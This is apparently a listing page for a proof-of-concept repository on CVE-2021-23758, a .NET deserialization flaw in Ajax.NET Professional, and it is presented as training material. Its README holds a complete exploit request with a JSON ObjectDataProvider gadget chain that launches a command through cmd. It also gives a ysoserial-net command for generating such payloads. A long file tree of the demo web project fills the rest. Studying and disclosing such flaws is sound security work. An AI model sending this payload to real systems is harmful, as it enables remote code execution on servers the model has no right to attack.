Associated Vulnerability
Title:Ajax.NET Professional 代码问题漏洞 (CVE-2021-23758)Description:Ajax.NET Professional是Ajax.NET Professional (AjaxPro) 是最早可用于 Microsoft ASP.NET 的 AJAX 框架之一。 Ajax.NET Professional 存在安全漏洞,该漏洞源于存在反序列化任意.NET类的可能性。攻击者可利用该漏洞执行反序列化攻击,进而远程执行代码。
Readme
# CVE-2021-23758-POC
this repo has been created for training on the vulnerability in the ajaxpro. disclosed with the ID number CVE-2021-23758.
# POC
```
POST /ajaxpro/CVE_2021_23758_POC.demo,CVE_2021_23758.ashx HTTP/2
Host: localhost:44375
Content-Length: 567
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
X-Ajaxpro-Method: TestAjax
Content-Type: text/plain; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://localhost:44375
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost:44375/demo
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
{"obj":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c calc"
}
}
}}
```
```
ysoserial-net -g ObjectDataProvider -f JavaScriptSerializer -c "calc" -o raw
```



# Reference
* [2021-23758 Mitre](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-23758)
* [michaelschwarz/Ajax.NET-Professional](https://github.com/michaelschwarz/Ajax.NET-Professional)
* [Details](https://mp.weixin.qq.com/s/7y-iyMMZAoN4B2dGvCFvXg)
* [sirifu4k1 tweet](https://twitter.com/sirifu4k1/status/1470647490546393089)
* [ysoserial](https://github.com/pwntester/ysoserial.net)
File Snapshot
[4.0K] /data/pocs/120b6665d49583264e066b3452e2f220a0bd99ae
├── [4.0K] code
│ ├── [4.0K] App_Start
│ │ ├── [1.9K] BundleConfig.cs
│ │ └── [ 464] RouteConfig.cs
│ ├── [4.0K] bin
│ │ ├── [140K] AjaxPro.2.dll
│ │ ├── [310K] AjaxPro.2.pdb
│ │ ├── [101K] Antlr3.Runtime.dll
│ │ ├── [426K] Antlr3.Runtime.pdb
│ │ ├── [5.5K] AspNet.ScriptManager.bootstrap.dll
│ │ ├── [5.5K] AspNet.ScriptManager.jQuery.dll
│ │ ├── [ 10K] CVE-2021-23758.dll
│ │ ├── [ 10K] CVE_2021_23758.dll
│ │ ├── [2.2K] CVE-2021-23758.dll.config
│ │ ├── [2.6K] CVE_2021_23758.dll.config
│ │ ├── [ 26K] CVE-2021-23758.pdb
│ │ ├── [ 26K] CVE_2021_23758.pdb
│ │ ├── [ 45K] Microsoft.AspNet.FriendlyUrls.dll
│ │ ├── [ 16K] Microsoft.AspNet.FriendlyUrls.xml
│ │ ├── [ 15K] Microsoft.AspNet.Web.Optimization.WebForms.dll
│ │ ├── [ 39K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
│ │ ├── [1.7K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.xml
│ │ ├── [ 15K] Microsoft.ScriptManager.MSAjax.dll
│ │ ├── [ 13K] Microsoft.ScriptManager.WebForms.dll
│ │ ├── [ 44K] Microsoft.Web.Infrastructure.dll
│ │ ├── [649K] Newtonsoft.Json.dll
│ │ ├── [658K] Newtonsoft.Json.xml
│ │ ├── [4.0K] roslyn
│ │ │ ├── [ 48K] csc.exe
│ │ │ ├── [7.9K] csc.exe.config
│ │ │ ├── [1.4K] csc.rsp
│ │ │ ├── [ 15K] csi.exe
│ │ │ ├── [8.5K] csi.exe.config
│ │ │ ├── [ 266] csi.rsp
│ │ │ ├── [120K] Microsoft.Build.Tasks.CodeAnalysis.dll
│ │ │ ├── [4.5M] Microsoft.CodeAnalysis.CSharp.dll
│ │ │ ├── [ 28K] Microsoft.CodeAnalysis.CSharp.Scripting.dll
│ │ │ ├── [2.3M] Microsoft.CodeAnalysis.dll
│ │ │ ├── [125K] Microsoft.CodeAnalysis.Scripting.dll
│ │ │ ├── [5.0M] Microsoft.CodeAnalysis.VisualBasic.dll
│ │ │ ├── [6.5K] Microsoft.CSharp.Core.targets
│ │ │ ├── [1.4M] Microsoft.DiaSymReader.Native.amd64.dll
│ │ │ ├── [1.1M] Microsoft.DiaSymReader.Native.x86.dll
│ │ │ ├── [6.7K] Microsoft.Managed.Core.targets
│ │ │ ├── [6.0K] Microsoft.VisualBasic.Core.targets
│ │ │ ├── [ 20K] System.AppContext.dll
│ │ │ ├── [239K] System.Collections.Immutable.dll
│ │ │ ├── [ 34K] System.Console.dll
│ │ │ ├── [ 23K] System.Diagnostics.FileVersionInfo.dll
│ │ │ ├── [ 23K] System.Diagnostics.StackTrace.dll
│ │ │ ├── [109K] System.IO.Compression.dll
│ │ │ ├── [ 22K] System.IO.FileSystem.dll
│ │ │ ├── [ 22K] System.IO.FileSystem.Primitives.dll
│ │ │ ├── [ 24K] System.IO.Pipes.AccessControl.dll
│ │ │ ├── [ 22K] System.IO.Pipes.dll
│ │ │ ├── [454K] System.Reflection.Metadata.dll
│ │ │ ├── [ 37K] System.Security.AccessControl.dll
│ │ │ ├── [ 24K] System.Security.Claims.dll
│ │ │ ├── [ 39K] System.Security.Cryptography.Algorithms.dll
│ │ │ ├── [ 23K] System.Security.Cryptography.Encoding.dll
│ │ │ ├── [ 22K] System.Security.Cryptography.Primitives.dll
│ │ │ ├── [ 38K] System.Security.Cryptography.X509Certificates.dll
│ │ │ ├── [ 23K] System.Security.Principal.Windows.dll
│ │ │ ├── [749K] System.Text.Encoding.CodePages.dll
│ │ │ ├── [ 76K] System.ValueTuple.dll
│ │ │ ├── [ 23K] System.Xml.ReaderWriter.dll
│ │ │ ├── [ 23K] System.Xml.XmlDocument.dll
│ │ │ ├── [ 22K] System.Xml.XPath.dll
│ │ │ ├── [ 25K] System.Xml.XPath.XDocument.dll
│ │ │ ├── [ 48K] vbc.exe
│ │ │ ├── [7.9K] vbc.exe.config
│ │ │ ├── [1.5K] vbc.rsp
│ │ │ ├── [ 86K] VBCSCompiler.exe
│ │ │ └── [8.1K] VBCSCompiler.exe.config
│ │ ├── [ 69K] System.Web.Optimization.dll
│ │ ├── [ 49K] System.Web.Optimization.xml
│ │ ├── [4.0K] tr
│ │ │ ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll
│ │ │ └── [ 13K] System.Web.Optimization.resources.dll
│ │ └── [1.2M] WebGrease.dll
│ ├── [ 220] Bundle.config
│ ├── [ 713] Contact.aspx
│ ├── [ 309] Contact.aspx.cs
│ ├── [ 441] Contact.aspx.designer.cs
│ ├── [4.0K] Content
│ │ ├── [143K] bootstrap.css
│ │ ├── [382K] bootstrap.css.map
│ │ ├── [119K] bootstrap.min.css
│ │ ├── [528K] bootstrap.min.css.map
│ │ ├── [ 25K] bootstrap-theme.css
│ │ ├── [ 47K] bootstrap-theme.css.map
│ │ ├── [ 23K] bootstrap-theme.min.css
│ │ ├── [ 74K] bootstrap-theme.min.css.map
│ │ └── [ 595] Site.css
│ ├── [ 14K] CVE_2021_23758.csproj
│ ├── [1.4K] CVE_2021_23758.csproj.user
│ ├── [1.6K] CVE_2021_23758_POC.sln
│ ├── [1.9K] Default.aspx
│ ├── [ 310] Default.aspx.cs
│ ├── [ 466] Default.aspx.designer.cs
│ ├── [ 743] demo.aspx
│ ├── [ 567] demo.aspx.cs
│ ├── [ 798] demo.aspx.designer.cs
│ ├── [ 31K] favicon.ico
│ ├── [4.0K] fonts
│ │ ├── [ 20K] glyphicons-halflings-regular.eot
│ │ ├── [106K] glyphicons-halflings-regular.svg
│ │ ├── [ 44K] glyphicons-halflings-regular.ttf
│ │ ├── [ 23K] glyphicons-halflings-regular.woff
│ │ └── [ 18K] glyphicons-halflings-regular.woff2
│ ├── [ 101] Global.asax
│ ├── [ 547] Global.asax.cs
│ ├── [4.0K] obj
│ │ └── [4.0K] Debug
│ │ ├── [ 424] CVE-2021-23758.csprojAssemblyReference.cache
│ │ ├── [6.7K] CVE_2021_23758.csprojAssemblyReference.cache
│ │ ├── [ 0] CVE-2021-23758.csproj.CopyComplete
│ │ ├── [ 0] CVE_2021_23758.csproj.CopyComplete
│ │ ├── [6.0K] CVE-2021-23758.csproj.FileListAbsolute.txt
│ │ ├── [6.0K] CVE_2021_23758.csproj.FileListAbsolute.txt
│ │ ├── [ 10K] CVE-2021-23758.dll
│ │ ├── [ 10K] CVE_2021_23758.dll
│ │ ├── [ 26K] CVE-2021-23758.pdb
│ │ ├── [ 26K] CVE_2021_23758.pdb
│ │ ├── [ 14K] DesignTimeResolveAssemblyReferencesInput.cache
│ │ └── [4.4K] WebApplication1.csprojAssemblyReference.cache
│ ├── [4.0K] packages
│ │ ├── [4.0K] Antlr.3.5.0.2
│ │ │ ├── [153K] Antlr.3.5.0.2.nupkg
│ │ │ └── [4.0K] lib
│ │ │ ├── [101K] Antlr3.Runtime.dll
│ │ │ └── [426K] Antlr3.Runtime.pdb
│ │ ├── [4.0K] AspNet.ScriptManager.bootstrap.3.4.1
│ │ │ ├── [ 16K] AspNet.ScriptManager.bootstrap.3.4.1.nupkg
│ │ │ └── [4.0K] lib
│ │ │ ├── [4.0K] net40
│ │ │ │ └── [5.5K] AspNet.ScriptManager.bootstrap.dll
│ │ │ └── [4.0K] net45
│ │ │ └── [5.5K] AspNet.ScriptManager.bootstrap.dll
│ │ ├── [4.0K] AspNet.ScriptManager.jQuery.3.3.1
│ │ │ ├── [ 16K] AspNet.ScriptManager.jQuery.3.3.1.nupkg
│ │ │ └── [4.0K] lib
│ │ │ ├── [4.0K] net40
│ │ │ │ └── [5.5K] AspNet.ScriptManager.jQuery.dll
│ │ │ └── [4.0K] net45
│ │ │ └── [5.5K] AspNet.ScriptManager.jQuery.dll
│ │ ├── [4.0K] bootstrap.3.4.1
│ │ │ ├── [741K] bootstrap.3.4.1.nupkg
│ │ │ ├── [4.0K] content
│ │ │ │ ├── [4.0K] Content
│ │ │ │ │ ├── [143K] bootstrap.css
│ │ │ │ │ ├── [382K] bootstrap.css.map
│ │ │ │ │ ├── [119K] bootstrap.min.css
│ │ │ │ │ ├── [528K] bootstrap.min.css.map
│ │ │ │ │ ├── [ 25K] bootstrap-theme.css
│ │ │ │ │ ├── [ 47K] bootstrap-theme.css.map
│ │ │ │ │ ├── [ 23K] bootstrap-theme.min.css
│ │ │ │ │ └── [ 74K] bootstrap-theme.min.css.map
│ │ │ │ ├── [4.0K] fonts
│ │ │ │ │ ├── [ 20K] glyphicons-halflings-regular.eot
│ │ │ │ │ ├── [106K] glyphicons-halflings-regular.svg
│ │ │ │ │ ├── [ 44K] glyphicons-halflings-regular.ttf
│ │ │ │ │ ├── [ 23K] glyphicons-halflings-regular.woff
│ │ │ │ │ └── [ 18K] glyphicons-halflings-regular.woff2
│ │ │ │ └── [4.0K] Scripts
│ │ │ │ ├── [ 74K] bootstrap.js
│ │ │ │ └── [ 39K] bootstrap.min.js
│ │ │ ├── [4.0K] contentFiles
│ │ │ │ ├── [4.0K] Content
│ │ │ │ │ ├── [143K] bootstrap.css
│ │ │ │ │ ├── [382K] bootstrap.css.map
│ │ │ │ │ ├── [119K] bootstrap.min.css
│ │ │ │ │ ├── [528K] bootstrap.min.css.map
│ │ │ │ │ ├── [ 25K] bootstrap-theme.css
│ │ │ │ │ ├── [ 47K] bootstrap-theme.css.map
│ │ │ │ │ ├── [ 23K] bootstrap-theme.min.css
│ │ │ │ │ └── [ 74K] bootstrap-theme.min.css.map
│ │ │ │ ├── [4.0K] fonts
│ │ │ │ │ ├── [ 20K] glyphicons-halflings-regular.eot
│ │ │ │ │ ├── [106K] glyphicons-halflings-regular.svg
│ │ │ │ │ ├── [ 44K] glyphicons-halflings-regular.ttf
│ │ │ │ │ ├── [ 23K] glyphicons-halflings-regular.woff
│ │ │ │ │ └── [ 18K] glyphicons-halflings-regular.woff2
│ │ │ │ └── [4.0K] Scripts
│ │ │ │ ├── [ 74K] bootstrap.js
│ │ │ │ └── [ 39K] bootstrap.min.js
│ │ │ └── [1.1K] LICENSE.txt
│ │ ├── [4.0K] jQuery.3.3.1
│ │ │ ├── [4.0K] Content
│ │ │ │ └── [4.0K] Scripts
│ │ │ │ ├── [265K] jquery-3.3.1.js
│ │ │ │ ├── [ 85K] jquery-3.3.1.min.js
│ │ │ │ ├── [129K] jquery-3.3.1.min.map
│ │ │ │ ├── [214K] jquery-3.3.1.slim.js
│ │ │ │ ├── [ 68K] jquery-3.3.1.slim.min.js
│ │ │ │ ├── [103K] jquery-3.3.1.slim.min.map
│ │ │ │ └── [242K] jquery-3.3.1-vsdoc.js
│ │ │ ├── [366K] jQuery.3.3.1.nupkg
│ │ │ └── [4.0K] Tools
│ │ │ ├── [3.8K] common.ps1
│ │ │ ├── [1.3K] install.ps1
│ │ │ ├── [156K] jquery-3.3.1.intellisense.js
│ │ │ └── [1.5K] uninstall.ps1
│ │ ├── [4.0K] Microsoft.AspNet.FriendlyUrls.1.0.2
│ │ │ ├── [4.0K] Content
│ │ │ │ ├── [4.0K] App_Start
│ │ │ │ │ └── [ 464] RouteConfig.cs.pp
│ │ │ │ ├── [ 330] Site.Mobile.Master.cs.pp
│ │ │ │ ├── [1.7K] Site.Mobile.Master.designer.cs.pp
│ │ │ │ ├── [ 858] Site.Mobile.Master.pp
│ │ │ │ ├── [1.6K] ViewSwitcher.ascx.cs.pp
│ │ │ │ ├── [ 448] ViewSwitcher.ascx.designer.cs.pp
│ │ │ │ └── [ 269] ViewSwitcher.ascx.pp
│ │ │ ├── [ 16K] Microsoft.AspNet.FriendlyUrls.1.0.2.nupkg
│ │ │ └── [1.6K] readme.txt
│ │ ├── [4.0K] Microsoft.AspNet.FriendlyUrls.Core.1.0.2
│ │ │ ├── [4.0K] lib
│ │ │ │ ├── [4.0K] net40
│ │ │ │ │ ├── [ 45K] Microsoft.AspNet.FriendlyUrls.dll
│ │ │ │ │ ├── [ 14K] Microsoft.AspNet.FriendlyUrls.xml
│ │ │ │ │ └── [4.0K] tr
│ │ │ │ │ ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll
│ │ │ │ │ └── [ 12K] Microsoft.AspNet.FriendlyUrls.xml
│ │ │ │ └── [4.0K] net45
│ │ │ │ ├── [ 45K] Microsoft.AspNet.FriendlyUrls.dll
│ │ │ │ ├── [ 16K] Microsoft.AspNet.FriendlyUrls.xml
│ │ │ │ └── [4.0K] tr
│ │ │ │ ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll
│ │ │ │ └── [ 14K] Microsoft.AspNet.FriendlyUrls.xml
│ │ │ └── [ 62K] Microsoft.AspNet.FriendlyUrls.Core.1.0.2.nupkg
│ │ ├── [4.0K] Microsoft.AspNet.FriendlyUrls.Core.tr.1.0.2
│ │ │ ├── [4.0K] lib
│ │ │ │ ├── [4.0K] net40
│ │ │ │ │ └── [4.0K] tr
│ │ │ │ │ ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll
│ │ │ │ │ └── [ 12K] Microsoft.AspNet.FriendlyUrls.xml
│ │ │ │ └── [4.0K] net45
│ │ │ │ └── [4.0K] tr
│ │ │ │ ├── [ 12K] Microsoft.AspNet.FriendlyUrls.resources.dll
│ │ │ │ └── [ 14K] Microsoft.AspNet.FriendlyUrls.xml
│ │ │ └── [ 30K] Microsoft.AspNet.FriendlyUrls.Core.tr.1.0.2.nupkg
│ │ ├── [4.0K] Microsoft.AspNet.ScriptManager.MSAjax.5.0.0
│ │ │ ├── [4.0K] content
│ │ │ │ └── [4.0K] Scripts
│ │ │ │ └── [4.0K] WebForms
│ │ │ │ └── [4.0K] MSAjax
│ │ │ │ ├── [8.8K] MicrosoftAjaxApplicationServices.js
│ │ │ │ ├── [ 24K] MicrosoftAjaxComponentModel.js
│ │ │ │ ├── [ 26K] MicrosoftAjaxCore.js
│ │ │ │ ├── [ 20K] MicrosoftAjaxGlobalization.js
│ │ │ │ ├── [6.6K] MicrosoftAjaxHistory.js
│ │ │ │ ├── [ 97K] MicrosoftAjax.js
│ │ │ │ ├── [ 13K] MicrosoftAjaxNetwork.js
│ │ │ │ ├── [5.7K] MicrosoftAjaxSerialization.js
│ │ │ │ ├── [2.6K] MicrosoftAjaxTimer.js
│ │ │ │ ├── [ 39K] MicrosoftAjaxWebForms.js
│ │ │ │ └── [4.7K] MicrosoftAjaxWebServices.js
│ │ │ ├── [4.0K] lib
│ │ │ │ └── [4.0K] net45
│ │ │ │ └── [ 15K] Microsoft.ScriptManager.MSAjax.dll
│ │ │ └── [ 85K] Microsoft.AspNet.ScriptManager.MSAjax.5.0.0.nupkg
│ │ ├── [4.0K] Microsoft.AspNet.ScriptManager.WebForms.5.0.0
│ │ │ ├── [4.0K] content
│ │ │ │ └── [4.0K] Scripts
│ │ │ │ └── [4.0K] WebForms
│ │ │ │ ├── [1.3K] DetailsView.js
│ │ │ │ ├── [2.9K] Focus.js
│ │ │ │ ├── [1.4K] GridView.js
│ │ │ │ ├── [ 32K] Menu.js
│ │ │ │ ├── [ 26K] MenuStandards.js
│ │ │ │ ├── [ 10K] SmartNav.js
│ │ │ │ ├── [9.0K] TreeView.js
│ │ │ │ ├── [ 21K] WebForms.js
│ │ │ │ ├── [ 26K] WebParts.js
│ │ │ │ └── [ 26K] WebUIValidation.js
│ │ │ ├── [4.0K] lib
│ │ │ │ └── [4.0K] net45
│ │ │ │ └── [ 13K] Microsoft.ScriptManager.WebForms.dll
│ │ │ └── [ 52K] Microsoft.AspNet.ScriptManager.WebForms.5.0.0.nupkg
│ │ ├── [4.0K] Microsoft.AspNet.Web.Optimization.1.1.3
│ │ │ ├── [4.0K] lib
│ │ │ │ └── [4.0K] net40
│ │ │ │ ├── [ 69K] System.Web.Optimization.dll
│ │ │ │ ├── [ 49K] system.web.optimization.xml
│ │ │ │ └── [4.0K] tr
│ │ │ │ └── [ 13K] System.Web.Optimization.resources.dll
│ │ │ └── [ 52K] Microsoft.AspNet.Web.Optimization.1.1.3.nupkg
│ │ ├── [4.0K] Microsoft.AspNet.Web.Optimization.tr.1.1.3
│ │ │ ├── [4.0K] lib
│ │ │ │ └── [4.0K] net40
│ │ │ │ └── [4.0K] tr
│ │ │ │ └── [ 13K] System.Web.Optimization.resources.dll
│ │ │ └── [ 19K] Microsoft.AspNet.Web.Optimization.tr.1.1.3.nupkg
│ │ ├── [4.0K] Microsoft.AspNet.Web.Optimization.WebForms.1.1.3
│ │ │ ├── [4.0K] content
│ │ │ │ └── [ 281] web.config.transform
│ │ │ ├── [4.0K] lib
│ │ │ │ └── [4.0K] net45
│ │ │ │ └── [ 15K] Microsoft.AspNet.Web.Optimization.WebForms.dll
│ │ │ └── [ 21K] Microsoft.AspNet.Web.Optimization.WebForms.1.1.3.nupkg
│ │ ├── [4.0K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.2.0.0
│ │ │ ├── [4.0K] build
│ │ │ │ ├── [4.0K] net45
│ │ │ │ │ ├── [ 267] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.Extensions.props
│ │ │ │ │ └── [5.3K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props
│ │ │ │ └── [4.0K] net46
│ │ │ │ ├── [ 271] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.Extensions.props
│ │ │ │ └── [5.3K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.props
│ │ │ ├── [4.0K] content
│ │ │ │ ├── [4.0K] net45
│ │ │ │ │ ├── [2.3K] app.config.install.xdt
│ │ │ │ │ ├── [ 966] app.config.uninstall.xdt
│ │ │ │ │ ├── [2.0K] web.config.install.xdt
│ │ │ │ │ └── [ 720] web.config.uninstall.xdt
│ │ │ │ └── [4.0K] net46
│ │ │ │ ├── [2.3K] app.config.install.xdt
│ │ │ │ ├── [ 966] app.config.uninstall.xdt
│ │ │ │ ├── [2.0K] web.config.install.xdt
│ │ │ │ └── [ 720] web.config.uninstall.xdt
│ │ │ ├── [4.0K] lib
│ │ │ │ └── [4.0K] net45
│ │ │ │ ├── [ 39K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
│ │ │ │ └── [1.7K] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.xml
│ │ │ ├── [ 13M] Microsoft.CodeDom.Providers.DotNetCompilerPlatform.2.0.0.nupkg
│ │ │ └── [4.0K] tools
│ │ │ ├── [4.0K] net45
│ │ │ │ ├── [ 15K] install.ps1
│ │ │ │ └── [ 13K] uninstall.ps1
│ │ │ ├── [4.0K] Roslyn45
│ │ │ │ ├── [ 49K] csc.exe
│ │ │ │ ├── [1.6K] csc.exe.config
│ │ │ │ ├── [1.4K] csc.rsp
│ │ │ │ ├── [ 13K] csi.exe
│ │ │ │ ├── [ 241] csi.rsp
│ │ │ │ ├── [103K] Microsoft.Build.Tasks.CodeAnalysis.dll
│ │ │ │ ├── [4.0M] Microsoft.CodeAnalysis.CSharp.dll
│ │ │ │ ├── [ 27K] Microsoft.CodeAnalysis.CSharp.Scripting.dll
│ │ │ │ ├── [2.0M] Microsoft.CodeAnalysis.dll
│ │ │ │ ├── [125K] Microsoft.CodeAnalysis.Scripting.dll
│ │ │ │ ├── [4.8M] Microsoft.CodeAnalysis.VisualBasic.dll
│ │ │ │ ├── [6.6K] Microsoft.CSharp.Core.targets
│ │ │ │ ├── [1.2M] Microsoft.DiaSymReader.Native.amd64.dll
│ │ │ │ ├── [945K] Microsoft.DiaSymReader.Native.x86.dll
│ │ │ │ ├── [6.1K] Microsoft.VisualBasic.Core.targets
│ │ │ │ ├── [ 20K] System.AppContext.dll
│ │ │ │ ├── [196K] System.Collections.Immutable.dll
│ │ │ │ ├── [ 22K] System.Diagnostics.StackTrace.dll
│ │ │ │ ├── [ 20K] System.IO.FileSystem.dll
│ │ │ │ ├── [ 20K] System.IO.FileSystem.Primitives.dll
│ │ │ │ ├── [416K] System.Reflection.Metadata.dll
│ │ │ │ ├── [ 49K] vbc.exe
│ │ │ │ ├── [1.6K] vbc.exe.config
│ │ │ │ ├── [1.5K] vbc.rsp
│ │ │ │ ├── [ 84K] VBCSCompiler.exe
│ │ │ │ └── [1.8K] VBCSCompiler.exe.config
│ │ │ └── [4.0K] RoslynLatest
│ │ │ ├── [ 48K] csc.exe
│ │ │ ├── [7.9K] csc.exe.config
│ │ │ ├── [1.4K] csc.rsp
│ │ │ ├── [ 15K] csi.exe
│ │ │ ├── [8.5K] csi.exe.config
│ │ │ ├── [ 266] csi.rsp
│ │ │ ├── [120K] Microsoft.Build.Tasks.CodeAnalysis.dll
│ │ │ ├── [4.5M] Microsoft.CodeAnalysis.CSharp.dll
│ │ │ ├── [ 28K] Microsoft.CodeAnalysis.CSharp.Scripting.dll
│ │ │ ├── [2.3M] Microsoft.CodeAnalysis.dll
│ │ │ ├── [125K] Microsoft.CodeAnalysis.Scripting.dll
│ │ │ ├── [5.0M] Microsoft.CodeAnalysis.VisualBasic.dll
│ │ │ ├── [6.5K] Microsoft.CSharp.Core.targets
│ │ │ ├── [1.4M] Microsoft.DiaSymReader.Native.amd64.dll
│ │ │ ├── [1.1M] Microsoft.DiaSymReader.Native.x86.dll
│ │ │ ├── [6.7K] Microsoft.Managed.Core.targets
│ │ │ ├── [6.0K] Microsoft.VisualBasic.Core.targets
│ │ │ ├── [ 20K] System.AppContext.dll
│ │ │ ├── [239K] System.Collections.Immutable.dll
│ │ │ ├── [ 34K] System.Console.dll
│ │ │ ├── [ 23K] System.Diagnostics.FileVersionInfo.dll
│ │ │ ├── [ 23K] System.Diagnostics.StackTrace.dll
│ │ │ ├── [109K] System.IO.Compression.dll
│ │ │ ├── [ 22K] System.IO.FileSystem.dll
│ │ │ ├── [ 22K] System.IO.FileSystem.Primitives.dll
│ │ │ ├── [ 24K] System.IO.Pipes.AccessControl.dll
│ │ │ ├── [ 22K] System.IO.Pipes.dll
│ │ │ ├── [454K] System.Reflection.Metadata.dll
│ │ │ ├── [ 37K] System.Security.AccessControl.dll
│ │ │ ├── [ 24K] System.Security.Claims.dll
│ │ │ ├── [ 39K] System.Security.Cryptography.Algorithms.dll
│ │ │ ├── [ 23K] System.Security.Cryptography.Encoding.dll
│ │ │ ├── [ 22K] System.Security.Cryptography.Primitives.dll
│ │ │ ├── [ 38K] System.Security.Cryptography.X509Certificates.dll
│ │ │ ├── [ 23K] System.Security.Principal.Windows.dll
│ │ │ ├── [749K] System.Text.Encoding.CodePages.dll
│ │ │ ├── [ 76K] System.ValueTuple.dll
│ │ │ ├── [ 23K] System.Xml.ReaderWriter.dll
│ │ │ ├── [ 23K] System.Xml.XmlDocument.dll
│ │ │ ├── [ 22K] System.Xml.XPath.dll
│ │ │ ├── [ 25K] System.Xml.XPath.XDocument.dll
│ │ │ ├── [ 48K] vbc.exe
│ │ │ ├── [7.9K] vbc.exe.config
│ │ │ ├── [1.5K] vbc.rsp
│ │ │ ├── [ 86K] VBCSCompiler.exe
│ │ │ └── [8.1K] VBCSCompiler.exe.config
│ │ ├── [4.0K] Microsoft.Web.Infrastructure.1.0.0.0
│ │ │ ├── [4.0K] lib
│ │ │ │ └── [4.0K] net40
│ │ │ │ └── [ 44K] Microsoft.Web.Infrastructure.dll
│ │ │ └── [ 34K] Microsoft.Web.Infrastructure.1.0.0.0.nupkg
│ │ ├── [4.0K] Modernizr.2.8.3
│ │ │ ├── [4.0K] Content
│ │ │ │ └── [4.0K] Scripts
│ │ │ │ └── [ 50K] modernizr-2.8.3.js
│ │ │ ├── [ 30K] Modernizr.2.8.3.nupkg
│ │ │ └── [4.0K] Tools
│ │ │ ├── [2.9K] common.ps1
│ │ │ ├── [ 333] install.ps1
│ │ │ └── [ 189] uninstall.ps1
│ │ ├── [4.0K] Newtonsoft.Json.11.0.1
│ │ │ ├── [4.0K] lib
│ │ │ │ ├── [4.0K] net20
│ │ │ │ │ ├── [501K] Newtonsoft.Json.dll
│ │ │ │ │ └── [559K] Newtonsoft.Json.xml
│ │ │ │ ├── [4.0K] net35
│ │ │ │ │ ├── [464K] Newtonsoft.Json.dll
│ │ │ │ │ └── [505K] Newtonsoft.Json.xml
│ │ │ │ ├── [4.0K] net40
│ │ │ │ │ ├── [530K] Newtonsoft.Json.dll
│ │ │ │ │ └── [517K] Newtonsoft.Json.xml
│ │ │ │ ├── [4.0K] net45
│ │ │ │ │ ├── [649K] Newtonsoft.Json.dll
│ │ │ │ │ └── [658K] Newtonsoft.Json.xml
│ │ │ │ ├── [4.0K] netstandard1.0
│ │ │ │ │ ├── [619K] Newtonsoft.Json.dll
│ │ │ │ │ └── [639K] Newtonsoft.Json.xml
│ │ │ │ ├── [4.0K] netstandard1.3
│ │ │ │ │ ├── [638K] Newtonsoft.Json.dll
│ │ │ │ │ └── [645K] Newtonsoft.Json.xml
│ │ │ │ ├── [4.0K] netstandard2.0
│ │ │ │ │ ├── [643K] Newtonsoft.Json.dll
│ │ │ │ │ └── [657K] Newtonsoft.Json.xml
│ │ │ │ ├── [4.0K] portable-net40%2Bsl5%2Bwin8%2Bwp8%2Bwpa81
│ │ │ │ │ ├── [431K] Newtonsoft.Json.dll
│ │ │ │ │ └── [480K] Newtonsoft.Json.xml
│ │ │ │ └── [4.0K] portable-net45%2Bwin8%2Bwp8%2Bwpa81
│ │ │ │ ├── [618K] Newtonsoft.Json.dll
│ │ │ │ └── [639K] Newtonsoft.Json.xml
│ │ │ ├── [1.1K] LICENSE.md
│ │ │ └── [2.3M] Newtonsoft.Json.11.0.1.nupkg
│ │ └── [4.0K] WebGrease.1.6.0
│ │ ├── [4.0K] lib
│ │ │ └── [1.2M] WebGrease.dll
│ │ ├── [4.0K] tools
│ │ │ └── [ 28K] WG.EXE
│ │ └── [463K] WebGrease.1.6.0.nupkg
│ ├── [1.6K] packages.config
│ ├── [4.0K] Properties
│ │ └── [1.4K] AssemblyInfo.cs
│ ├── [4.0K] Scripts
│ │ ├── [ 74K] bootstrap.js
│ │ ├── [ 39K] bootstrap.min.js
│ │ ├── [156K] jquery-3.3.1.intellisense.js
│ │ ├── [265K] jquery-3.3.1.js
│ │ ├── [ 85K] jquery-3.3.1.min.js
│ │ ├── [129K] jquery-3.3.1.min.map
│ │ ├── [214K] jquery-3.3.1.slim.js
│ │ ├── [ 68K] jquery-3.3.1.slim.min.js
│ │ ├── [103K] jquery-3.3.1.slim.min.map
│ │ ├── [ 50K] modernizr-2.8.3.js
│ │ └── [4.0K] WebForms
│ │ ├── [1.3K] DetailsView.js
│ │ ├── [2.9K] Focus.js
│ │ ├── [1.4K] GridView.js
│ │ ├── [ 32K] Menu.js
│ │ ├── [ 26K] MenuStandards.js
│ │ ├── [4.0K] MSAjax
│ │ │ ├── [8.8K] MicrosoftAjaxApplicationServices.js
│ │ │ ├── [ 24K] MicrosoftAjaxComponentModel.js
│ │ │ ├── [ 26K] MicrosoftAjaxCore.js
│ │ │ ├── [ 20K] MicrosoftAjaxGlobalization.js
│ │ │ ├── [6.6K] MicrosoftAjaxHistory.js
│ │ │ ├── [ 97K] MicrosoftAjax.js
│ │ │ ├── [ 13K] MicrosoftAjaxNetwork.js
